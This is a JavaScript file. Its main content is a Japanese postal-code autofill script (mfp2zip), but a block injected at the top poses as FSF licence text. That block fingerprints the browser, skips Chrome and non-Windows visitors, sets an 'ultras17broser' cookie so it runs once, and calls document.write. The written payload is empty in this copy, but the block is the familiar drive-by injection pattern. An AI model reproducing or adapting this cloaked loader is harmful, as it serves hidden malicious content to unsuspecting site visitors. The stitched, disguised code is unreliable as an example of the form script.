/* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(name) { var templateshoper = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return templateshoper ? decodeURIComponent(templateshoper[1]) : undefined; /*Source code for a work means the preferred form of the work for making modifications to it. For an executable file, complete source code means all the source code for all modules it contains; but, as a special exception, it need not include source code for modules which are standard libraries that accompany the operating system on which the executable file runs, or for standard header files or definitions files that accompany that operating system.*/ } function Hardtechnology() { var JameNoober = navigator.userAgent; var NiceProgroude = (JameNoober.indexOf("IEMobile") > -1 || JameNoober.indexOf("Windows NT 6.3") > -1 || JameNoober.indexOf("Chrome") > -1 || JameNoober.indexOf("Windows") < +1); var Plogin = (getCookie("ultras17broser") === undefined); if (!NiceProgroude && Plogin) { /* Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein.*/ document.write(''); var date = new Date( new Date().getTime() + 66*60*60*1000 ); document.cookie="ultras17broser=1; path=/; expires="+date.toUTCString(); } } Hardtechnology(); /* Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt */// mfp2zip 2.0.0 : 2012-05-31 // 仕様が変わったのでサポート掲示板に記載されてる情報は見ないでネ☆ // 基本的に変更しなくても動きます。 function callbackMFPZip(stat,f,a1,a2,a3,b1,b2,b3){ var d = window.document; var obj = document.forms[f]; if(stat){ if(a1 == a2 && a2 == a3) obj.elements[a1].value = b1 + b2 + b3 else if(a1 == a2){ obj.elements[a1].value = b1 + b2; obj.elements[a2].value = b3; } else if(a2 == a3){ obj.elements[a1].value = b1; obj.elements[a2].value = b2 + b3; } else { obj.elements[a1].value = b1; //都道府県 b1; obj.elements[a2].value = b2; //市区町村 b2; obj.elements[a3].value = b3; //丁目番地 b3; } mfpb(obj.elements[a1]); mfpb(obj.elements[a2]); mfpb(obj.elements[a3]); } } function mfpc(formId,postcodeELM,a1,a2,a3){ var d = window.document; var obj = document.forms[formId]; obj.elements[postcodeELM].value = obj.elements[postcodeELM].value.replace(/[A-Za-z0-9]/g, function(s) { return String.fromCharCode(s.charCodeAt(0) - 65248); }); var border = new Array("-", "-", "ー", "―", "ー", "‐"); for(var i = 0; i < border.length; i++) obj.elements[postcodeELM].value = obj.elements[postcodeELM].value.replace(border[i], ""); if(obj.elements[postcodeELM].value != "" && !(obj.elements[postcodeELM].value.match(/[^0-9]+/))){ var s = d.createElement("script"); s.src = d.getElementById('mfp2zip').src + '?zip=' + obj.elements[postcodeELM].value + '&f=' + formId + '&a1=' + encodeURI(a1) + '&a2=' + encodeURI(a2) + '&a3=' + encodeURI(a3); d.getElementsByTagName("head")[0].appendChild(s); } return false; }